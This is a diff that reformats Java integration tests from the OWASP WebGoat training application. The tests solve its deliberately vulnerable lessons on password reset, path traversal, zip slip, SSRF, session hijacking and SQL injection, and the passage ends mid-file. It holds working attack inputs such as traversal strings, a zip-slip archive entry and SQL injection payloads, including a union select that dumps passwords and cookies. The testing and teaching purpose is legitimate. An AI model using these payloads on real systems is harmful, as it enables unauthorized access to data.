+    Properties propsLang = getProperties(lang);
 
-        for (String key: propsLang.stringPropertyNames()) {
-            if (!propsDefault.containsKey(key)) {
-                System.err.println("key: " + key + " in (" +lang+") is missing from default properties");
-                Assertions.fail();
-            }
-            if (!jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR).equals(propsLang.get(key))) {
-                System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service");
-                System.out.println("actual:"+jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR));
-                System.out.println("expected: "+propsLang.getProperty(key));
-                System.out.println();
-                Assertions.fail();
-            }
-        }
+    for (String key : propsLang.stringPropertyNames()) {
+      if (!propsDefault.containsKey(key)) {
+        System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
+        Assertions.fail();
+      }
+      if (!jsonPath
+          .getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR)
+          .equals(propsLang.get(key))) {
+        System.out.println(
+            "key: " + key + " in (" + lang + ") has incorrect translation in label service");
+        System.out.println(
+            "actual:" + jsonPath.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR));
+        System.out.println("expected: " + propsLang.getProperty(key));
+        System.out.println();
+        Assertions.fail();
+      }
     }
+  }
 
-    private JsonPath getLabels(String lang) {
-        return RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .contentType(ContentType.JSON)
-                .header("Accept-Language",lang)
-                .cookie("JSESSIONID", getWebGoatCookie())
-                //.log().headers()
-                .get(url("service/labels.mvc"))
-                .then()
-                //.log().all()
-                .statusCode(200).extract().jsonPath();
-    }
-
-    private List<String> getHints() {
-        JsonPath jsonPath = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .contentType(ContentType.JSON)
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/hint.mvc"))
-                .then()
-                //.log().all()
-                .statusCode(200).extract().jsonPath();
-        return jsonPath.getList("hint");
-    }
+  private JsonPath getLabels(String lang) {
+    return RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .contentType(ContentType.JSON)
+        .header("Accept-Language", lang)
+        .cookie("JSESSIONID", getWebGoatCookie())
+        // .log().headers()
+        .get(url("service/labels.mvc"))
+        .then()
+        // .log().all()
+        .statusCode(200)
+        .extract()
+        .jsonPath();
+  }
 
+  private List<String> getHints() {
+    JsonPath jsonPath =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(ContentType.JSON)
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("service/hint.mvc"))
+            .then()
+            // .log().all()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    return jsonPath.getList("hint");
+  }
 }

src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java

@@ -1,118 +1,147 @@
 package org.owasp.webgoat;
 
-import io.restassured.RestAssured;
-import lombok.SneakyThrows;
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
 
+import io.restassured.RestAssured;
+import java.util.Arrays;
+import java.util.Map;
 import org.apache.commons.lang3.StringUtils;
 import org.assertj.core.api.Assertions;
 import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.DynamicTest;
 import org.junit.jupiter.api.TestFactory;
-
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-
-import java.util.Arrays;
-import java.util.Map;
+import org.springframework.http.HttpHeaders;
 
 public class PasswordResetLessonIntegrationTest extends IntegrationTest {
 
-	@BeforeEach
-    @SneakyThrows
-    public void init() {
-    	startLesson("/PasswordReset");
-    }
-	
-	@TestFactory
-    Iterable<DynamicTest> passwordResetLesson() {
-    	return Arrays.asList(
-    			dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailableInWebWolf()),
-    			dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()),
-    			dynamicTest("assignment 2 - simple reset",()-> assignment2()),
-    			dynamicTest("assignment 4 - guess questions",()-> assignment4()),
-    			dynamicTest("assignment 5 - simple questions",()-> assignment5())
-    			);
-    }
-	public void assignment2() {
-		checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false);
-		checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true);
-	}
-	
-	public void assignment4() {
-        checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true);
-    }
-	
-	public void assignment5() {
-        checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false);
-        checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true);
-    }
+  @BeforeEach
+  public void init() {
+    startLesson("PasswordReset");
+  }
 
-	
-    public void solveAssignment() {
-        //WebGoat
-        clickForgotEmailLink("tom@webgoat-cloud.org");
+  @TestFactory
+  Iterable<DynamicTest> passwordResetLesson() {
+    return Arrays.asList(
+        dynamicTest("assignment 6 - check email link", () -> sendEmailShouldBeAvailableInWebWolf()),
+        dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
+        dynamicTest("assignment 2 - simple reset", () -> assignment2()),
+        dynamicTest("assignment 4 - guess questions", () -> assignment4()),
+        dynamicTest("assignment 5 - simple questions", () -> assignment5()));
+  }
 
-        //WebWolf
-        var link = getPasswordResetLinkFromLandingPage();
+  public void assignment2() {
+    checkAssignment(
+        url("PasswordReset/simple-mail/reset"),
+        Map.of("emailReset", this.getUser() + "@webgoat.org"),
+        false);
+    checkAssignment(
+        url("PasswordReset/simple-mail"),
+        Map.of(
+            "email",
+            this.getUser() + "@webgoat.org",
+            "password",
+            StringUtils.reverse(this.getUser())),
+        true);
+  }
 
-        //WebGoat
-        changePassword(link);
-        checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true);
-    }
+  public void assignment4() {
+    checkAssignment(
+        url("PasswordReset/questions"),
+        Map.of("username", "tom", "securityQuestion", "purple"),
+        true);
+  }
 
-    public void sendEmailShouldBeAvailableInWebWolf() {
-    	clickForgotEmailLink(this.getUser() + "@webgoat.org");
+  public void assignment5() {
+    checkAssignment(
+        url("PasswordReset/SecurityQuestions"),
+        Map.of("question", "What is your favorite animal?"),
+        false);
+    checkAssignment(
+        url("PasswordReset/SecurityQuestions"),
+        Map.of("question", "What is your favorite color?"),
+        true);
+  }
 
-        var responseBody = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/WebWolf/mail"))
-                .then()
-                .extract().response().getBody().asString();
+  public void solveAssignment() {
+    // WebGoat
+    clickForgotEmailLink("tom@webgoat-cloud.org");
 
-        Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
-    }
-    
-    @AfterEach
-    public void shutdown() {
-    	//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
-    	checkResults("/PasswordReset");
-    }
+    // WebWolf
+    var link = getPasswordResetLinkFromLandingPage();
+    // WebGoat
+    changePassword(link);
+    checkAssignment(
+        url("PasswordReset/reset/login"),
+        Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
+        true);
+  }
 
-    private void changePassword(String link) {
+  public void sendEmailShouldBeAvailableInWebWolf() {
+    clickForgotEmailLink(this.getUser() + "@webgoat.org");
+
+    var responseBody =
         RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .formParams("resetLink", link, "password", "123456")
-                .post(url("PasswordReset/reset/change-password"))
-                .then()
-                .statusCode(200);
-    }
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(new WebWolfUrlBuilder().path("mail").build())
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
 
-    private String getPasswordResetLinkFromLandingPage() {
-        var responseBody = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/WebWolf/requests"))
-                .then()
-                .extract().response().getBody().asString();
-        int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
-        var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1);
-        return link;
-    }
+    Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
+  }
 
-    private void clickForgotEmailLink(String user) {
+  @AfterEach
+  public void shutdown() {
+    // this will run only once after the list of dynamic tests has run, this is to test if the
+    // lesson is marked complete
+    checkResults("PasswordReset");
+  }
+
+  private void changePassword(String link) {
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .formParams("resetLink", link, "password", "123456")
+        .post(url("PasswordReset/reset/change-password"))
+        .then()
+        .statusCode(200);
+  }
+
+  private String getPasswordResetLinkFromLandingPage() {
+    var responseBody =
         RestAssured.given()
-                .when()
-                .header("host", String.format("%s:%s", "localhost", getWebWolfPort()))
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .formParams("email", user)
-                .post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
-                .then()
-                .statusCode(200);
-    }
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(new WebWolfUrlBuilder().path("requests").build())
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
+    var link =
+        responseBody.substring(
+            startIndex + "/PasswordReset/reset/reset-password/".length(),
+            responseBody.indexOf(",", startIndex) - 1);
+    return link;
+  }
+
+  private void clickForgotEmailLink(String user) {
+    RestAssured.given()
+        .when()
+        .header(HttpHeaders.HOST, String.format("%s:%s", getWebWolfHost(), getWebWolfPort()))
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .formParams("email", user)
+        .post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
+        .then()
+        .statusCode(200);
+  }
 }

src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java

@@ -1,16 +1,8 @@
 package org.owasp.webgoat;
 
-import io.restassured.RestAssured;
-import lombok.SneakyThrows;
-import org.hamcrest.CoreMatchers;
-import org.hamcrest.MatcherAssert;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.DynamicTest;
-import org.junit.jupiter.api.TestFactory;
-import org.junit.jupiter.api.io.TempDir;
-import org.springframework.security.core.token.Sha512DigestUtils;
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
 
+import io.restassured.RestAssured;
 import java.io.File;
 import java.io.FileOutputStream;
 import java.io.IOException;
@@ -21,117 +13,140 @@ import java.util.Arrays;
 import java.util.Map;
 import java.util.zip.ZipEntry;
 import java.util.zip.ZipOutputStream;
-
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+import lombok.SneakyThrows;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.DynamicTest;
+import org.junit.jupiter.api.TestFactory;
+import org.junit.jupiter.api.io.TempDir;
+import org.springframework.security.core.token.Sha512DigestUtils;
 
 class PathTraversalIT extends IntegrationTest {
 
-    @TempDir
-    Path tempDir;
+  @TempDir Path tempDir;
 
-    private File fileToUpload = null;
+  private File fileToUpload = null;
 
-    @BeforeEach
-    @SneakyThrows
-    public void init() {
-        fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
-        Files.write(fileToUpload.toPath(), "This is a test".getBytes());
-        startLesson("PathTraversal");
+  @BeforeEach
+  @SneakyThrows
+  public void init() {
+    fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
+    Files.write(fileToUpload.toPath(), "This is a test".getBytes());
+    startLesson("PathTraversal");
+  }
+
+  @TestFactory
+  Iterable<DynamicTest> testPathTraversal() {
+    return Arrays.asList(
+        dynamicTest("assignment 1 - profile upload", () -> assignment1()),
+        dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
+        dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
+        dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
+        dynamicTest("assignment 5 - zip slip", () -> assignment5()));
+  }
+
+  private void assignment1() throws IOException {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
+            .param("fullName", "../John Doe")
+            .post(url("PathTraversal/profile-upload"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void assignment2() throws IOException {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
+            .param("fullNameFix", "..././John Doe")
+            .post(url("PathTraversal/profile-upload-fix"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void assignment3() throws IOException {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .multiPart(
+                "uploadedFileRemoveUserInput",
+                "../test.jpg",
+                Files.readAllBytes(fileToUpload.toPath()))
+            .post(url("PathTraversal/profile-upload-remove-user-input"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void assignment4() throws IOException {
+    var uri = "PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
+    RestAssured.given()
+        .urlEncodingEnabled(false)
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .get(url(uri))
+        .then()
+        .statusCode(200)
+        .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
+
+    checkAssignment(
+        url("PathTraversal/random"),
+        Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
+        true);
+  }
+
+  private void assignment5() throws IOException {
+    var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
+    webGoatHome =
+        webGoatHome.replaceAll("^[a-zA-Z]:", ""); // Remove C: from the home directory on Windows
+
+    var webGoatDirectory = new File(webGoatHome);
+    var zipFile = new File(tempDir.toFile(), "upload.zip");
+    try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
+      ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
+      zos.putNextEntry(e);
+      zos.write("test".getBytes(StandardCharsets.UTF_8));
     }
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
+            .post(url("PathTraversal/zip-slip"))
+            .then()
+            .log()
+            .all()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
 
-    @TestFactory
-    Iterable<DynamicTest> testPathTraversal() {
-        return Arrays.asList(
-                dynamicTest("assignment 1 - profile upload", () -> assignment1()),
-                dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
-                dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
-                dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
-                dynamicTest("assignment 5 - zip slip", () -> assignment5())
-        );
-    }
-
-    private void assignment1() throws IOException {
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
-                        .param("fullName", "../John Doe")
-                        .post(url("/WebGoat/PathTraversal/profile-upload"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-    }
-
-    private void assignment2() throws IOException {
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
-                        .param("fullNameFix", "..././John Doe")
-                        .post(url("/WebGoat/PathTraversal/profile-upload-fix"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-    }
-
-    private void assignment3() throws IOException {
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath()))
-                        .post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-    }
-
-    private void assignment4() throws IOException {
-        var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
-        RestAssured.given().urlEncodingEnabled(false)
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url(uri))
-                .then()
-                .statusCode(200)
-                .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
-
-        checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret",
-                Sha512DigestUtils.shaHex(this.getUser())), true);
-    }
-
-    private void assignment5() throws IOException {
-        var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
-        webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows
-
-        var webGoatDirectory = new File(webGoatHome);
-        var zipFile = new File(tempDir.toFile(), "upload.zip");
-        try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
-            ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
-            zos.putNextEntry(e);
-            zos.write("test".getBytes(StandardCharsets.UTF_8));
-        }
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
-                        .post(url("/WebGoat/PathTraversal/zip-slip"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-    }
-
-    @AfterEach
-    void shutdown() {
-        //this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
-        checkResults("/PathTraversal");
-    }
+  @AfterEach
+  void shutdown() {
+    // this will run only once after the list of dynamic tests has run, this is to test if the
+    // lesson is marked complete
+    checkResults("PathTraversal");
+  }
 }

src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java

@@ -2,10 +2,6 @@ package org.owasp.webgoat;
 
 import io.restassured.RestAssured;
 import io.restassured.response.Response;
-
-import org.assertj.core.api.Assertions;
-import org.junit.jupiter.api.Test;
-
 import java.util.List;
 import java.util.Map;
 import java.util.concurrent.Callable;
@@ -14,40 +10,48 @@ import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.stream.Collectors;
 import java.util.stream.IntStream;
+import org.assertj.core.api.Assertions;
+import org.junit.jupiter.api.Test;
 
 public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
 
-    @Test
-    public void runTests() throws InterruptedException {
-    	int NUMBER_OF_CALLS = 40;
-    	int NUMBER_OF_PARALLEL_THREADS = 5;
-        startLesson("Challenge1");
-
-        Callable<Response> call = () -> {
-        		//System.out.println("thread "+Thread.currentThread().getName());
-                return RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .formParams(Map.of("flag", "test"))
-                        .post(url("/challenge/flag/"));
+  @Test
+  public void runTests() throws InterruptedException {
+    int NUMBER_OF_CALLS = 40;
+    int NUMBER_OF_PARALLEL_THREADS = 5;
+    startLesson("Challenge1");
 
+    Callable<Response> call =
+        () -> {
+          // System.out.println("thread "+Thread.currentThread().getName());
+          return RestAssured.given()
+              .when()
+              .relaxedHTTPSValidation()
+              .cookie("JSESSIONID", getWebGoatCookie())
+              .formParams(Map.of("flag", "test"))
+              .post(url("challenge/flag/1"));
         };
-        ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
-        List<? extends Callable<Response>> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
-        var responses = executorService.invokeAll(flagCalls);
+    ExecutorService executorService = Executors.newFixedThreadPool(NUMBER_OF_PARALLEL_THREADS);
+    List<? extends Callable<Response>> flagCalls =
+        IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
+    var responses = executorService.invokeAll(flagCalls);
 
-        //A certain amount of parallel calls should fail as optimistic locking in DB is applied
-        long countStatusCode500 = responses.stream().filter(r -> {
-            try {
-            	//System.err.println(r.get().getStatusCode());
-                return r.get().getStatusCode() != 200;
-            } catch (InterruptedException | ExecutionException e) {
-            	//System.err.println(e);
-                throw new IllegalStateException(e);
-            }
-        }).count();
-        System.err.println("counted status 500: "+countStatusCode500);
-        Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS)));
-    }
+    // A certain amount of parallel calls should fail as optimistic locking in DB is applied
+    long countStatusCode500 =
+        responses.stream()
+            .filter(
+                r -> {
+                  try {
+                    // System.err.println(r.get().getStatusCode());
+                    return r.get().getStatusCode() != 200;
+                  } catch (InterruptedException | ExecutionException e) {
+                    // System.err.println(e);
+                    throw new IllegalStateException(e);
+                  }
+                })
+            .count();
+    System.err.println("counted status 500: " + countStatusCode500);
+    Assertions.assertThat(countStatusCode500)
+        .isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS / NUMBER_OF_PARALLEL_THREADS)));
+  }
 }

src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java

@@ -1,30 +1,25 @@
 package org.owasp.webgoat;
 
-import java.io.IOException;
 import java.util.HashMap;
 import java.util.Map;
-
 import org.junit.jupiter.api.Test;
 
 public class SSRFIntegrationTest extends IntegrationTest {
-    
-    @Test
-    public void runTests() throws IOException {
-        startLesson("SSRF");
-        
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("url", "images/jerry.png");
-        
-        checkAssignment(url("/WebGoat/SSRF/task1"),params,true);
-        params.clear();
-        params.put("url", "http://ifconfig.pro");
-        
-        checkAssignment(url("/WebGoat/SSRF/task2"),params,true);
-        
-        checkResults("/SSRF/");
-    
-    }
-    
-    
+
+  @Test
+  public void runTests() {
+    startLesson("SSRF");
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("url", "images/jerry.png");
+
+    checkAssignment(url("SSRF/task1"), params, true);
+    params.clear();
+    params.put("url", "http://ifconfig.pro");
+
+    checkAssignment(url("SSRF/task2"), params, true);
+
+    checkResults("SSRF");
+  }
 }

src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java

@@ -24,24 +24,22 @@
 package org.owasp.webgoat;
 
 import java.util.Map;
-
 import org.junit.jupiter.api.Test;
 
 /**
- *
  * @author Angel Olle Blazquez
- *
  */
-
 class SessionManagementIT extends IntegrationTest {
-    
-    private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
 
+  private static final String HIJACK_LOGIN_CONTEXT_PATH = "HijackSession/login";
 
-    @Test
-    void hijackSessionTest() {
-        startLesson("HijackSession");
-        
-        checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false);
-    }
+  @Test
+  void hijackSessionTest() {
+    startLesson("HijackSession");
+
+    checkAssignment(
+        url(HIJACK_LOGIN_CONTEXT_PATH),
+        Map.of("username", "webgoat", "password", "webgoat"),
+        false);
+  }
 }

src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java

@@ -2,48 +2,60 @@ package org.owasp.webgoat;
 
 import java.util.HashMap;
 import java.util.Map;
-
 import org.junit.jupiter.api.Test;
 
 public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
 
-    @Test
-    public void runTests() {
-        startLesson("SqlInjectionAdvanced");
+  @Test
+  public void runTests() {
+    startLesson("SqlInjectionAdvanced");
 
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("username_reg", "tom' AND substring(password,1,1)='t");
-        params.put("password_reg", "password");
-        params.put("email_reg", "someone@microsoft.com");
-        params.put("confirm_password", "password");
-        checkAssignmentWithPUT(url("/WebGoat/SqlInjectionAdvanced/challenge"), params, true);
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("username_reg", "tom' AND substring(password,1,1)='t");
+    params.put("password_reg", "password");
+    params.put("email_reg", "someone@microsoft.com");
+    params.put("confirm_password", "password");
+    checkAssignmentWithPUT(url("SqlInjectionAdvanced/challenge"), params, true);
 
-        params.clear();
-        params.put("username_login", "tom");
-        params.put("password_login", "thisisasecretfortomonly");
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/challenge_Login"), params, true);
+    params.clear();
+    params.put("username_login", "tom");
+    params.put("password_login", "thisisasecretfortomonly");
+    checkAssignment(url("SqlInjectionAdvanced/challenge_Login"), params, true);
 
-        params.clear();
-        params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
+    params.clear();
+    params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
+    checkAssignment(url("SqlInjectionAdvanced/attack6a"), params, true);
 
-        params.clear();
-        params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --");
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
+    params.clear();
+    params.put(
+        "userid_6a",
+        "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
+            + " user_system_data --");
+    checkAssignment(url("SqlInjectionAdvanced/attack6a"), params, true);
 
-        params.clear();
-        params.put("userid_6b", "passW0rD");
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
+    params.clear();
+    params.put("userid_6b", "passW0rD");
+    checkAssignment(url("SqlInjectionAdvanced/attack6b"), params, true);
 
-        params.clear();
-        params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement");
-        params.put("question_1_solution", "Solution 3: ?");
-        params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.");
-        params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.");
-        params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
+    params.clear();
+    params.put(
+        "question_0_solution",
+        "Solution 4: A statement has got values instead of a prepared statement");
+    params.put("question_1_solution", "Solution 3: ?");
+    params.put(
+        "question_2_solution",
+        "Solution 2: Prepared statements are compiled once by the database management system"
+            + " waiting for input and are pre-compiled this way.");
+    params.put(
+        "question_3_solution",
+        "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query"
+            + " resulting in a seperation of code and data.");
+    params.put(
+        "question_4_solution",
+        "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
+    checkAssignment(url("SqlInjectionAdvanced/quiz"), params, true);
 
-        checkResults("/SqlInjectionAdvanced/");
-    }
+    checkResults("SqlInjectionAdvanced");
+  }
 }

src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java

@@ -2,77 +2,77 @@ package org.owasp.webgoat;
 
 import java.util.HashMap;
 import java.util.Map;
-
 import org.junit.jupiter.api.Test;
 
 public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
 
-    public static final String sql_2 = "select department from employees where last_name='Franco'";
-    public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'";
-    public static final String sql_4_drop = "alter table employees drop column phone";
-    public static final String sql_4_add = "alter table employees add column phone varchar(20)";
-    public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
-    public static final String sql_9_account = " ' ";
-    public static final String sql_9_operator = "or";
-    public static final String sql_9_injection = "'1'='1";
-    public static final String sql_10_login_count = "2";
-    public static final String sql_10_userid = "1 or 1=1";
+  public static final String sql_2 = "select department from employees where last_name='Franco'";
+  public static final String sql_3 =
+      "update employees set department='Sales' where last_name='Barnett'";
+  public static final String sql_4_drop = "alter table employees drop column phone";
+  public static final String sql_4_add = "alter table employees add column phone varchar(20)";
+  public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
+  public static final String sql_9_account = " ' ";
+  public static final String sql_9_operator = "or";
+  public static final String sql_9_injection = "'1'='1";
+  public static final String sql_10_login_count = "2";
+  public static final String sql_10_userid = "1 or 1=1";
 
-    public static final String sql_11_a = "Smith' or '1' = '1";
